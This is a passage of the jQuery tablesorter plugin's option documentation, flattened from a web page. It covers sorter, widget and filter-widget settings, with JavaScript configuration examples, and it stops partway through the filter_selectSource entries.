$(function(){ $("table").tablesorter({ textExtraction: { 1: function(node, table, cellIndex) { return $(node).find("span:last").text(); } }, headers: { 1: { sorter : "digit" } } }); }); The built-in option is "basic" (modified v2.16.0) which is the equivalent of doing this inside of the textExtraction function: $(node).text();. Example String undefined This option should contain a unique namespace for each table; it is used when binding to event listeners (v2.15.7). Notes about this namespace option: • If a namesspace is not defined, a (hopefully) unique random namespace will be generated. • If defined, any "non-word" characters (anything not "a-z", "0-9" or "_") within the namespace will be removed. • Added or not, the namespace will be saved with a leading period (e.g. ".myuniquetableid") $(function(){ $("#mytable").tablesorter({ // if table id = "mytable", this namespace is saved as ".mytable" namespace : $('#mytable')[0].id; }); }); Function null Replace the default number sorting algorithm with a custom one using this option (v2.12). Here is an example: $(function(){ $("table").tablesorter({ numberSorter : function(a, b, direction, maxColumnValue){ // direction; true = ascending; false = descending // maxColumnValue = the maximum value of that column (ignoring its sign) return a - b; } }); }); The direction parameter (boolean) is merely for informational purposes as the plugin automatically switches a and b depending on the sort direction ( i.e. there's no need to worry about reverse sorting, it's taken care of by the plugin ). String "click" Use this option to change the click event (v2.22.0) Change this option if want to change the click event that is bound to the table headers. Add multiple events separated by spaces. Warning If this option is set to fire multiple events (e.g. 'mouseup pointerup'), sorting may be initialized twice in rapid succession and make it appear that nothing changed. String "mousedown" Use this option to change the pointer down event (v2.22.0) Change this option if you're using pointer events (or the pointer events polyfill). Add multiple events separated by spaces. Warning If this option is set to fire multiple events (e.g. 'mousedown pointerdown'), sorting may be initialized twice in rapid succession and make it appear that nothing changed. String "mouseup" Use this option to change the pointer up event (v2.22.0) Change this option if you're using pointer events (or the pointer events polyfill). Add multiple events separated by spaces. Warning If this option is set to fire multiple events (e.g. 'mouseup pointerup'), sorting may be initialized twice in rapid succession and make it appear that nothing changed. Function null Replace the default sorting algorithm with a custom one using this option (v2.12) - *NOTE* The parameters have changed!!. Include a script like naturalSort.js as follows: $(function(){ $("table").tablesorter({ textSorter : naturalSort }); }); or use the localeCompare sort $(function(){ $("table").tablesorter({ // replace the OVERALL text sorter function textSorter: function(a, b, direction, columnIndex, table){ // direction: true = ascending; false = descending // columnIndex: zero-based index of the current table column being sorted // table: table DOM element (access options by using table.config) return a.localeCompare(b); } }); }); In v2.12, the textSorter option will now accept a text sorter per column: $(function(){ $("table").tablesorter({ textSorter : { // replace INDIVIDUAL COLUMN text sorter functions 0 : function(a, b, direction, columnIndex, table){ // same as $.tablesorter.sortText (basic alphabetical sort) // direction: true = ascending; false = descending // columnIndex: zero-based index of the current table column being sorted // table: table DOM element (access options by using table.config) return a > b ? 1 : (a < b ? -1 : 0); }, 1 : $.tablesorter.sortText, // same as the function in column 0 above (modified in v2.12) 2 : $.tablesorter.sortNatural, // renamed v2.12 from $.tablesorter.sortText - performs natural sort 3 : Array.AlphanumericSort // alphanumeric sort from sugar (http://sugarjs.com/arrays#sorting) } }); }); The direction parameter (boolean) is merely for informational purposes as the plugin automatically switches a and b depending on the sort direction ( i.e. there's no need to worry about reverse sorting, it's taken care of by the plugin ). 1 2 Boolean true Indicates how tablesorter should deal with a numerical format: (v2.1.3). true U.S. 1,234,567.89 false German: French: 1.234.567,89 1 234 567,89 Example widgets Array [ ] (empty array) Initialize widgets using this option ( e.g. widgets : ['zebra'], or custom widgets widgets: ['zebra', 'myCustomWidget'];, see this demo on how to write your own custom widget ). Example Boolean false Indicates if tablesorter should apply fixed percentage-based widths to the table columns (modified v2.4). Prior to v2.4, this option set pixel widths to added colgroups to fix the column widths. This is useful for the Pager companion. Requires the jQuery dimension plugin to work. This is now part of the jQuery core. Example Object { } In version 2.1, all widget options have been moved into this option. This is a move to store all widget specific options in one place so as not to polute the main table options. All current widgets have been modified to use this new option. (v2.1). Previously documented widget options widgetZebra, widgetColumns and widgetUitheme will be retained for backwards compatibility. Use the widgetOptions option as follows, please note that each option is followed by a comma (except the last one): $(function(){ $("table").tablesorter({ // initialize a bunch of widgets (the order doesn't matter) widgets: ["zebra", "uitheme", "columns", "filter", "resizable", "stickyHeaders"], widgetOptions: { // *** columns widget *** // change the default column class names columns : [ "primary", "secondary", "tertiary" ], // include thead when adding class names columns_thead : true, // include tfoot when adding class names columns_tfoot : true, // *** filter widget *** // jQuery selector string (or jQuery object) of external anyMatch filter // filter_anyMatch : null, // THIS OPTION WAS REMOVED IN V2.15 // Include child rows content in the search filter_childRows : false, // filter child row content by column, if true; filter_childRows must also be true! filter_childByColumn : false, // if true, include matching child row siblings filter_childWithSibs : true, // show column filters filter_columnFilters : true, // extra css class name (string or array) added to the filter element (input or select) filter_cellFilter : '', // css class applied to the filter row inputs/select filter_cssFilter : '', // data attribute in the header cell that contains the default filter value filter_defaultAttrib : 'data-value', // add a default column filter type "~{query}" to make fuzzy searches default; "{q1} AND {q2}" to make all searches use a logical AND. filter_defaultFilter : {}, // filters to exclude, per column filter_excludeFilter : {}, // jQuery selector string (or jQuery object) of external search inputs filter_external : '', // class added to filtered rows; needed by pager plugin filter_filteredRow : 'filtered', // add custom filter elements to the filter row filter_formatter : null, // add custom filter functions using this option. filter_functions : null, // hide filter row when table is empty filter_hideEmpty : true, // if true, the filter row is hidden initially until hovered/focused. filter_hideFilters : false, // if true, make all searches case-insensitive. filter_ignoreCase : true, // if true, search column content while the user types (with a delay) filter_liveSearch : true, // a selector in a header with this class name will only show selected options in the drop down filter_onlyAvail : 'filter-onlyAvail', // default placeholder text (overridden by any header "data-placeholder" setting) filter_placeholder : { search : '', select : '' }, // jQuery selector string of an element used to reset the filters. filter_reset : null, // Use the $.tablesorter.storage utility to save the most recent filters filter_saveFilters : false, // typing delay in milliseconds before starting a search. filter_searchDelay : 300, // allow searching through already filtered rows in special circumstances; will speed up searching in large tables if true filter_searchFiltered: true, // include a function to return an array of values to be added to the column filter select filter_selectSource : null, // filter_selectSource array text left of the separator is added to the option value, right into the option text filter_selectSourceSeparator : '|', // if true, filter start from the beginning of the cell contents. filter_startsWith : false, // filter all data using parsed content. filter_useParsedData : false, // Set to true for server-side filtering filter_serversideFiltering : false, // *** resizable widget *** // if false, resized columns are not saved for next page reload resizable : true, // if true, the last column will be resizable (use in non-full width tables) resizable_addLastColumn: false, // Add the starting & reset header widths resizable_widths : [], // throttle resizable event (needed for slow browsers) resizable_throttle : false, // target the last column for resize (like holding shift-drag) resizable_targetLast: false, // *** savesort widget *** // if false, the sort will not be saved for next page reload saveSort : true, // *** stickyHeaders widget *** // extra class name added to the sticky header row stickyHeaders : '', // jQuery selector or object to attach sticky header to stickyHeaders_attachTo : null, // jQuery selector or object to monitor horizontal scroll position (defaults: xScroll > attachTo > window) stickyHeaders_xScroll : null, // jQuery selector or object to monitor vertical scroll position (defaults: yScroll > attachTo > window) stickyHeaders_yScroll : null, // number or jquery selector targeting the position:fixed element stickyHeaders_offset : 0, // scroll table top into view after filtering stickyHeaders_filteredToTop: true, // added to table ID, if it exists stickyHeaders_cloneId : '-sticky', // trigger "resize" event on headers stickyHeaders_addResizeEvent : true, // if false and a caption exist, it won't be included in the sticky header stickyHeaders_includeCaption : true, // The zIndex of the stickyHeaders, allows the user to adjust this to their needs stickyHeaders_zIndex : 2, // *** storage widget *** // allows switching between using local & session storage storage_useSessionStorage : false, // alternate table id (set if grouping multiple tables together) storage_tableId : '', // table attribute to get the table ID, if storage_tableId is undefined storage_group : '', // defaults to "data-table-group" // alternate url to use (set if grouping tables across multiple pages) storage_fixedUrl : '', // table attribute to get the fixedUrl, if storage_fixedUrl is undefined storage_page : '', // *** zebra widget *** // class names to add to alternating rows zebra : ["even", "odd"] // *** uitheme widget *** // use "config.theme" to set the theme to use } }); }); Example Utility Options data Object, Array undefined Storage for processed table build widget data (array, object, string) (v2.11). Example dateRange Numeric 50 Used by the two digit year parser to set the date range (v2.14). Example Deprecated/Removed Options String undefined This option is being deprecated in v2.21.3! It has been replaced by widgetOptions.storage_fixedUrl; but is still available for backwards compatibility. This option was added to set a specific page when storing data using the $.tablesorter.storage code (v2.12). More specifically, when the storage function is used, it attempts to give every table a unique identifier using both the page url and table ID (or index on the page if no id exists). This option allows you to override the current page url (it doesn't need to be a url, just some constant value) and save data for multiple tables across a domain. The table url & id can also be overridden by setting table data attributes data-table-page (url) and data-table-group (id) (e.g. <table class="tablesorter" data-table-page="mydomain" data-table-group="financial">...</table>) For a bit more detail, specifically on how to use the new storage function options for a custom widget, please refer to issue #389. String This option was removed! It has been replaced by cssNoSort which does the opposite of what this class name was supposed to do. This option was not working as intended, so it was completely removed - sorry for the lack of notice. Previous default was "tablesorter-allowClicks" Class name added to table header which allows clicks to bubble up. (added v2.18.1; removed in v2.20.0). This option was removed in v2.21.2! It has been replaced by widgetOptions.columns. Default value: { css: [ "primary", "secondary", "tertiary" ] } (Object with Array) When the column styling widget is initialized, it automatically applied the default class names of "primary" for the primary sort, "secondary" for the next sort, "tertiary" for the next sort, and so on (add more as needed)... (v2.0.17). Use the widgetColumns option to change the css class name as follows: $(function(){ $("table").tablesorter({ widgets: ["columns"], // initialize column styling of the table widgetColumns: { css: ["primary", "secondary", "tertiary" ] } }); }); This option was removed in v2.4! It has been replaced by widgetOptions.uitheme. Default value: { css: [ "ui-icon-arrowthick-2-n-s", "ui-icon-arrowthick-1-s", "ui-icon-arrowthick-1-n" ] } (Object with Array) Used when the ui theme styling widget is initialized. It automatically applies the default class names of "ui-icon-arrowthick-2-n-s" for the unsorted column, "ui-icon-arrowthick-1-s" for the descending sort and "ui-icon-arrowthick-1-n" for the ascending sort. (v2.0.9). Find more jQuery UI class names by hovering over the Framework icons on this page: http://jqueryui.com/themeroller/ Use the widgetUitheme option to change the css class name as follows: $(function(){ $("table").tablesorter({ widgets: ["uitheme"], // initialize ui theme styling widget of the table widgetUitheme: { css: [ "ui-icon-carat-2-n-s", // Unsorted icon "ui-icon-carat-1-s", // Sort up (down arrow) "ui-icon-carat-1-n" // Sort down (up arrow) ] } }); }); This option was removed in v2.4! It has been replaced by widgetOptions.zebra. Default value: { css: [ "even", "odd" ] } (Object with Array) When the zebra striping widget is initialized, it automatically applied the default class names of "even" and "odd". Use the widgetZebra option to change the css class name as follows: $(function(){ $("table").tablesorter({ widgets: ["zebra"], // initialize zebra striping of the table widgetZebra: { css: [ "normal-row", "alt-row" ] } }); }); Widget & Pager Options Widget PriorityNameRequires jQueryLimiting function 30columnsv1.2.6 50filterv1.4.31.4.3 (nextUntil & delegate) Lastpager pluginv1.2.6 55pager widgetv1.71.7 (on) 40resizablev1.4.1*1.4.1 (parseJSON)* 20saveSortv1.4.11.4.1 (parseJSON)* 60stickyHeadersv1.4.31.4.3 (isWindow)** 10uithemev1.2.6 90zebrav1.2.6 tablesorter widgets have many options, and to better organize them, they now are grouped together inside of the widgetOptions. Thanks to thezoggy for putting together this jQuery-widget compatibility table, but please note: TIP! Click on the link in the property column to reveal full details (or toggle|show|hide all) or double click to update the browser location. Property Type Default Description Link Property Type Default Description Link Array [ "primary", "secondary", "tertiary" ] Columns widget: When the column styling widget is initialized, it automatically applied the default class names of "primary" for the primary sort, "secondary" for the next sort, "tertiary" for the next sort, and so on (add more as needed)... (Modified v2.1). Use the "columns" option to change the css class name as follows: $(function(){ $("table").tablesorter({ widgets: ["columns"], // initialize column styling of the table widgetOptions : { columns: [ "primary", "secondary", "tertiary" ] } }); }); Example Boolean true Columns widget: If true, the class names from the columns option will also be added to the table thead (v2.4). Use the "columns_thead" option to add the column class names to the thead as follows: $(function(){ $("table").tablesorter({ widgets: ["columns"], // initialize column styling of the table widgetOptions : { columns_thead: true } }); }); Example Boolean true Columns widget: If true, the class names from the columns option will also be added to the table tfoot (v2.4). Use the "columns_tfoot" option to add the column class names to the tfoot as follows: $(function(){ $("table").tablesorter({ widgets: ["columns"], // initialize column styling of the table widgetOptions : { columns_tfoot: true } }); }); Example Boolean false Filter widget: If there are child rows in the table (rows with class name from "cssChildRow" option) and this option is true and a match is found anywhere in the child row, then it will make that row visible. (Modified v2.1). *NOTE* When using this option, please be aware that all child row content will be obtained from each table cell using textContent, so none of the markup will be preserved. Also, carriage returns (<br>) will not be included. To account for the loss of white space, especially after carriage returns, please add an extra space to the end of the line. Using innerText, could have been an option for preserving the white space, but it is not standardized across all browsers (ref). Use the filter_childRows option to include child row text as follows: $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { filter_childRows : true } }); }); Boolean false Filter widget: If true, queries will search child row content by column (v2.22.0). The filter_childRows option must also be true for this option to work. If false, and the filter_childRows option is true, then queries in any column will search all child content, as before this option was added. Use the filter_childByColumn option as follows: $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { filter_childRows : true, filter_childByColumn : true } }); }); Example Boolean true Filter widget: include all sibling rows of the matching child row (v2.23.4). Both filter_childRows & filter_childByColumn options must be set to true for this option to work. If false, this option will only show the child row that matches the filter; and its parent row. Use the filter_childWithSibs option as follows: $(function(){ $("table").tablesorter({ widgets: [ "filter" ], widgetOptions : { filter_childRows : true, filter_childByColumn : true, // only show matching child row & parent filter_childWithSibs : false } }); }); Example Boolean true Filter widget: If true, a filter will be added to the top of each table column (v2.4). Use the filter_columnFilters option as follows: $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { filter_columnFilters : true } }); }); String or Array "" Filter widget: Additional CSS class applied to each filter cell (v2.18.0). When the filter row is built, each table cell (<td>) will get the class name from this option. • If this option is a plain string, all filter row cells will get the text applied as a class name. • If this option is an array, then each filter row cell will get the text from the associate array element applied as a class name. Use the filter_cellFilter option to add an extra css class name as follows: $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { // css class applied to the table row containing the filters & the inputs within that row // or [ "filter-cell0", "filter-cell1", "filter-cell2", etc... ] filter_cellFilter : "tablesorter-filter-cell" } }); }); Note The cells from this option are also contained within the config.$filters variable. Example String or Array "" Filter widget: Additional CSS class applied to each filter (v2.15). As of v2.15, this option can also contain an array of class names that are to be applied to input filters. Changed to empty string in v2.11, as the "tablesorter-filter" class will always be added to the filter; this option now contains any additional class names to add. Use the filter_cssFilter option to add an extra css class name as follows: $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { // css class applied to the table row containing the filters & the inputs within that row // or [ "filter0", "filter1", "filter2", etc... ] filter_cssFilter : "tablesorter-filter" } }); }); Example Object { } Filter widget: Add a default filter type to a column (v2.17.8). Warning If a column has a default filter set, the user will not be able to use other filters. Use the filter_defaultFilter option as follows: $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { filter_defaultFilter : { // target a column by class name or column index (zero-based) '.fuzzy' : '~{q}', 2 : '{q}=', // for default "anyMatches" use the column length as the index // e.g. if your table has 5 columns (0,1,2,3,4), then set the anyMatch column as 5. 5 : '{q} or {q}' // any match column } } }); }); Set up the column string as follows: • Add the desired filter type symbol along with {query} or {q} to maintain positioning • Symbols can be added to the beginning "~{query}" (default fuzzy search) or end "{q}=" (default exact search) • For symbols that separate queries, like "AND", "OR" or "-" (range): • Add one additional {q} tag. • For example, to add a default "OR" search, use "{q} OR {q}". • If the user enters "a b c d" the column will be filtered using "a OR b OR c OR d", so there is no need to add more {q} tags within the string; adding more will likely mess up the results. • If the user only enters "a", then the column will be filtered using "a OR a" so as not to cause other issues. • Note It is not possible to set up a default filter search within a query. So the "wild" filter search will not work as intended (e.g. {q}* and {q}? are essentially the same as {q}. Example Object { } Filter widget: Additional CSS class applied to each filter (v2.17.8). Exclude a filter type(s) for a column. Use the filter_excludeFilter option as follows: $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { filter_excludeFilter : { // target a column by class name or column index (zero-based) '.title' : 'range', // separate multiple filter types using spaces 2 : 'range notMatch exact' } } }); }); Exclusion names must be separated by a comma. Here is a full list of filter type names: • and - logical " AND " or && type filter. • exact - exact match (using " or =). • fuzzy - fuzzy match (~) • notMatch - not match (! or !=) • operators - comparison filters (< <= >= >) • range - range ( - or to ) • regex - regex (/\d/) • wild - wild card matching (? for single characters, * for multiple characters not including spaces, or | or OR for a logical OR. String "" Filter widget: jQuery selector string of inputs, outside of the table, to be used for searching table content (v2.15). Set this option to be a jQuery selector string, or jQuery object, pointing to any external inputs that are to be used for searching the table. Use the filter_external option as follows: $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { filter_external : '.search' } }); }); These external inputs have one requirement, they must have a data-column="#", where the # targets the column (zero-based index), pointing to a specific column to search. <input class="search" type="search" data-column="0" placeholder="Search first column"> If you want to search all columns, using the updated "any match" method, set the data column value to "all": <input class="search" type="search" data-column="all" placeholder="Search entire table"> The updated any matching code will now automatically update all associated inputs with the latest search. This option replaces filter_anyMatch. Example filter_filteredRow String "filtered" Filter widget: This is the class name applied to all rows that do not match the filter (hidden rows); used by pager plugin (v2.10). Object null Filter widget: This option allows you to add custom controls within the filter widget row (v2.7.7; v2.17.0). In v2.17.0, the filter_formatter column can also be referenced by using a jQuery selector (e.g. class name or ID) that points to a table header cell. filter_formatter : { ".col-value" : function($cell, indx){ return $.tablesorter.filterFormatter.uiSpinner( $cell, indx, { ... }); } } Warning What won't work is if you try to target the header using a filtering selector that uses an index, e.g. "th:eq()", ":gt()", ":lt()", ":first", ":last", ":even" or ":odd", ":first-child", ":last-child", ":nth-child()", ":nth-last-child()", etc. A new file has been included named "widget-filter-formatter-jui.js" & "widget-filter-formatter-html5.js". The files include code to add jQuery UI and HTML5 controls via the filter_formatter option. Most of the formatter functions have an option named valueToHeader which, when true adds a span to the header cell above the filter row and updates it with the current control's value (see example 2). If the option exists and is set to false, then the current value is added to the control's handle and css can be used to create a popup to show the current value (see example 1). Another custom option named addToggle is included with the "uiSpinner", "html5Color" and "html5Number" code. This allows the user to disable the control to show all table rows. For the single sliders, "uiSlider" and "html5Range", the minimum value is used to clear the filter (show all rows). The options included for each jQuery UI control only show basic options, but any or all of the jQuery UI options for that control can be included. • To add the jQuery UI slider, follow this example: $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { filter_formatter : { // column index `0` or use a jQuery selector `"th:contains('Discount')"` 0 : function($cell, indx){ return $.tablesorter.filterFormatter.uiSpinner( $cell, indx, { value : 0, // starting value min : 0, // minimum value max : 50, // maximum value step : 1, // increment value by addToggle: true, // Add a toggle to enable/disable the control valueToHeader: false // add current slider value to the header cell }); } } } }); }); Any of the other jQuery UI spinner widget options can also be included. • Filter formatter functions include: "uiSpinner", "uiSlider", "uiRange" (uiSlider ranged), "uiDatepicker" (range only), "html5Number", "html5Range" and "html5Color". • For other examples, please refer to the example pages. Formatter part 1 (example 1) adds jQuery UI controls to the filter row, while formatter part 2 (example 2) adds HTML5 controls, if supported, to the filter row. 1 2 Object null Filter widget: Customize the filter widget by adding a select dropdown with content, custom options or custom filter functions (v2.3.6; v2.17.0). In v2.22.0, a data parameter was added to that long list of parameters. *WARNING* In a future update, the filter function parameters will be cleaned up and changed as follows! filter_functions : { // function(e, n, f, i, $r, c, data) {} <- current parameters 0 : function(c, data) {} // planned change (version undetermined) } The e (exact table cell text), n (normalized table cell text), f (filter input value), i (column index) and $r (current row; jQuery object) are all already included in the data object. In v2.17.0, the filter_functions column can also be referenced by using a jQuery selector (e.g. class name or ID) that points to a table header cell. filter_functions : { ".col-date" : { "< 2004" : function (e, n, f, i, $r, c, data) { return n < Date.UTC(2004, 0, 1); // < Jan 1 2004 }, ... } } Warning What won't work is if you try to target the header using a filtering selector that uses an index, e.g. "th:eq()", ":gt()", ":lt()", ":first", ":last", ":even" or ":odd", ":first-child", ":last-child", ":nth-child()", ":nth-last-child()", etc. Use the "filter_functions" option in three different ways: • Make a sorted select dropdown list of all column contents. Repeated content will be combined. $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions: { filter_functions: { // Add select menu to this column // set the column value to true, and/or add "filter-select" class name to header 0 : true } } }); }); Alternately, instead of setting the column filter funtion to true, give the column header a class name of "filter-select". See the demo. • Make a select dropdown list with custom option settings. Each option must have a corresponding function which returns a boolean value; return true if there is a match, or false with no match. Regex example $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions: { // function variables: // e = exact text from cell // n = normalized value returned by the column parser // f = search filter input value // i = column index // $r = jQuery element of current row // c = table.config // data = combined filter data - see filter widget "custom searches" demo, look under "How to add Custom filter types" filter_functions: { // Add these options to the select dropdown (regex example) 2 : { "A - D" : function(e, n, f, i, $r, c, data) { return /^[A-D]/.test(e); }, "E - H" : function(e, n, f, i, $r, c, data) { return /^[E-H]/.test(e); }, "I - L" : function(e, n, f, i, $r, c, data) { return /^[I-L]/.test(e); }, "M - P" : function(e, n, f, i, $r, c, data) { return /^[M-P]/.test(e); }, "Q - T" : function(e, n, f, i, $r, c, data) { return /^[Q-T]/.test(e); }, "U - X" : function(e, n, f, i, $r, c, data) { return /^[U-X]/.test(e); }, "Y - Z" : function(e, n, f, i, $r, c, data) { return /^[Y-Z]/.test(e); } } } } }); }); Comparison example $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions: { // function variables: // e = exact text from cell // n = normalized value returned by the column parser // f = search filter input value // i = column index // $r = jQuery element of current row // c = table.config // data = combined filter data - see filter widget "custom searches" demo, look under "How to add Custom filter types" filter_functions: { // Add these options to the select dropdown (numerical comparison example) // Note that only the normalized (n) value will contain numerical data // If you use the exact text, you'll need to parse it (parseFloat or parseInt) 4 : { "< $10" : function(e, n, f, i, $r, c, data) { return n < 10; }, "$10 - $100" : function(e, n, f, i, $r, c, data) { return n >= 10 && n <=100; }, "> $100" : function(e, n, f, i, $r, c, data) { return n > 100; } } } } }); }); Note: if the filter_ignoreCase option is true, it DOES alter the normalized value (n) by making it all lower case. • Make a custom filter for the column. $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions: { // function variables: // e = exact text from cell // n = normalized value returned by the column parser // f = search filter input value // i = column index // $r = jQuery element of current row // c = table.config // data = combined filter data - see filter widget "custom searches" demo, look under "How to add Custom filter types" filter_functions: { // Exact match only 1 : function(e, n, f, i, $r, c, data) { return e === f; } } } }); }); Note: if the filter_ignoreCase option is true, it DOES alter the normalized value (n) by making it all lower case. Example Boolean true Filter widget: Set this option to false to always show the filter row; by default, the filter row is completely hidden when no rows exist within the tbody (v2.15). Use the filter_hideEmpty option as follows: $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { filter_hideEmpty : false } }); }); Boolean false Filter widget: Set this option to true to hide the filter row initially. The row is revealed by hovering over the visible portion of the filter row or by giving any filter input/select focus (tab key) (v2.4). Use the filter_hideFilters option as follows: $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { filter_hideFilters : true } }); }); You can change the style (thickness) of the hidden filter row in the tablesorter theme css. Look for .tablesorter-filter-row (revealed row) and .tablesorter-filter-row.hideme (for the hidden row) css definitions. Example Boolean true Filter widget: Set this option to false to make the column content search case-sensitive, so typing in "a" will not find "Albert". (v2.3.4) Use the filter_ignoreCase option as follows: $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { filter_ignoreCase : false } }); }); Example Boolean, or Number true Filter widget: If true, a search of the column content will occur as the user types, with the delay set in the filter_searchDelay option (v2.9; v2.10). This option, when false allows you to disable the live search behavior, so that a filter is only applied when the user presses Enter (or uses Esc to clear and cancel the search). If this option is set to a number, e.g. 4, a search of the column content will not initiate until this minimum number of characters are entered into the input. String "filter-onlyAvail" Filter widget: If a header contains a select dropdown and this class name, only the available (visible) options in the column will show (v2.10.1; v2.17.6). In v2.17.6, columns with the only available class name set, that are not currently being filtered will only show the available options. Conversely, the column(s) with a selected option will show all options. This option is useful after one or more columns have been filtered, then the column select filter with this class applied will only show the contents of the column within the dropdown that are currently visible. See the custom filter widget demo "Discount" column for an example (sort the "First Name" column first). Caution: The main issue with this functionality is with keyboard accessibility. If the keyboard is used to select an option, only the first and default options will be available for chosing. The only way to select other options is with the mouse. Example object { search : '', select : '' } Filter widget: Set global filter input placeholder text for search inputs and selects (v2.16). Any search type input added to the filter row will automatically get a placeholder attribute added, the source of this placeholder text is from the following sources, in order of priority: • Header cell data (table.config.$headers.eq(0).data('placeholder', 'search for...'); • Header cell data-attribute (<th data-placeholder="Find Rank...">Rank</th>) • Global filter_placeholder.search setting. The filter_placeholder.select setting adds the text to the first select option (default option to show all rows). Note: The widget-filter-formatter-jui.js jQuery UI Datepicker Range Selector creates two inputs, so this option then includes two additional settings: filter_placeholder : { search : '', select : '', from : '', // datepicker range "from" placeholder to : '' // datepicker range "to" placeholder } Note: The browser must support the placeholder attribute before it will be visible. Example String, jQuery object null Filter widget: jQuery selector string of an element used to reset the filters (v2.4; v2.16). When this option points to a reset element using a jQuery selector string, it is bound using event delegation. So if any additional reset elements, with the same class name, are added to the page dynamically, they will be associated with the same table. For example, add this button (<button class="reset">Reset</button>) to the table header, or anywhere else on the page. That element will be used as a reset for all column and quick search filters (clears all fields): Use the filter_reset option as follows: $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { filter_reset : '.reset' } }); }); If this option contains a jQuery object (v2.16), clicking on any of the elements within that jQuery object will trigger a filter reset. If any additional elements with the same selector are added to the page, they will not be dynamically functional. If either of these methods do not work as desired, simply trigger a filterReset event on the table. Example Boolean false Filter widget: If the storage utility is available (included with jquery.tablesorter.widgets.js file, the last applied filter is saved to storage (v2.14). Filters saved to local storage (or cookies) will override any default filters within the header data-attribute (set by the filter_defaultAttrib option) and be available to the pager before any ajax calls are made. To bypass this behavior, clear out the saved filters as follows: $.tablesorter.storage( $('table'), 'tablesorter-filters', '' ); Example Numeric 300 Filter widget: Set this option to the number of milliseconds to delay the search. (v2.3.4). Use the filter_searchDelay option as follows: $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { filter_searchDelay : 500 } }); }); If you want to want to initialize the filter without user input, target any one of the filters and trigger a "search". // target the first filter input // this method will begin the search after the searchDelay time $('input.tablesorter-filter:eq(0)').trigger('search'); // this method will begin the search immediately $('input.tablesorter-filter:eq(0)').trigger('search', false); In tablesorter v2.4+, the trigger can be applied directly to the table: // refresh the widget filter; no delay $('table').trigger('search', false); Boolean true Filter widget: Set this option to allow searching through already filtered rows (in special conditions); this will speed up searching in large tables (v2.17.4). To better explain this, lets do it by example. Lets say you have a column of color names and you enter "light" and results like "light blue" and "light grey" show up. When you press the space bar, a space is added, and instead of searching though all of the colors again, the filter widget only searches through the already filtered results that started with "light". This can substantially speed up searching, especially in large tables. But, there are some special circumstances which would make this method return incorrect results. So, this option was added to allow you to disable this feature in case one of these following conditions doesn't cover your need; but still, please report any issues! The search through filtered results only occurs if the following conditions are met: • The last search (for all columns) was not completely empty - all rows will be searched anyway. • If there were no changes to the search from the beginning of the search string (changing the above search to "bright" will force a new search of all rows). • If the search does not contain a logical or ( or or |), or a range delimiter ( - or to ) within the search query. • If the search is not looking for an exact match (" or =) or a logical not search (!). • Or, if the search is using a select dropdown without a "filter-match" class name (looking for an exact match). • If the search does not contain an operator greater than or equal to a negative number (>=-10) or less than or equal to a positive number (<=10). • And lastly, only search filtered rows if all rows are not hidden. If the debug option is set to true, then a message will appear while filtering stating the specific number of rows, or "all" rows, that are being searched. Use the filter_searchFiltered option as follows: $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { filter_searchFiltered : false } }); }); Example Function null Filter widget: Include a function to return an array of values to be added to the column filter select (v2.16.0; v2.23.4). In v2.21.5, this option will now override the filter_function options (so you need to add them back!), allowing the addition of custom select options and still maintain basic filtering action - see this demo (ref). In v2.17.0, the filter_selectSource column can also be referenced by using a jQuery selector (e.g. class name or ID) that points to a table header cell. filter_selectSource : { ".model-number" : [ "abc", "def", "ghi", "xyz" ] } Warning What won't work is if you try to target the header using a filtering selector that uses an index, e.g. "th:eq()", ":gt()", ":lt()", ":first", ":last", ":even" or ":odd", ":first-child", ":last-child", ":nth-child()", ":nth-last-child()", etc. A column will have a filter select dropdown when a "filter-select" class name is added to the header cell, or if the filter_functions column value is set to true This option allows using an alternate source, or customizing options of the filter select dropdown. This option can be set as follows: • null - this value will set the default behavior and return all table cell values from the current column. • An overall function - when this option is a function, it will be used for all filter selects in the table. $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { filter_selectSource : function(table, column, onlyAvail){ // get an array of all table cell contents for a table column var array = $.tablesorter.filter.getOptions(table, column, onlyAvail); // manipulate the array as desired, then return it return array; } } }); }); • An object containing column keys set with a function - when the option is set in this manner, a function can be applied to a specific column. This example was updated in v2.23.4 to use the buildSelect function directly (ref) $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { filter_selectSource : { 0 : function(table, column, onlyAvail){ // call ajax after tablesorter has initialized; this prevents // multiple ajax calls during initialization if (table.hasInitialized) { $.getJSON('ajax/options.json', function(data) { // return false if there is a problem and the select // will display the original defaults var result = data.hasOwnProperty('options') ? data.options : false; // if not already done on the server-side & you want to sort & remove duplicates // from the results, use the processOptions function (added 2.23.4) result = $.tablesorter.filter.processOptions( table, column, result ); // call the buildSelect function; pass `true` to replace the contents of the select $.tablesorter.filter.buildSelect( table, column, result, true, onlyAvail ); }); } return false; } } } }); }); The function uses the following parameters: • table - table DOM element • column - zero-based index of the column with a filter select • onlyAvail - boolean indicating if the returned options should only be from available (non-filtered) rows. Important Return an array of values which will be added to the filter select dropdown. This array will automatically be stripped of any duplicate values and sorted alphanumerically before being added to the select. If for some reason the custom filter_selectSource function does not obtain the desired array of values, return false and the original method of obtaining column cell content will be used. Example String '|' Filter widget: Set this option to be any separator (v2.17.6) that is to be used within the filter_selectSource returned array. Use the filter_selectSourceSeparator option as follows: $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { filter_selectSource : { 0 : [ 'en|English', 'fr|French', 'de|German' ] }, // filter_selectSource array text left of the separator is added to the option value, right into the option text filter_selectSourceSeparator : '|' } }); }); Results in this HTML: 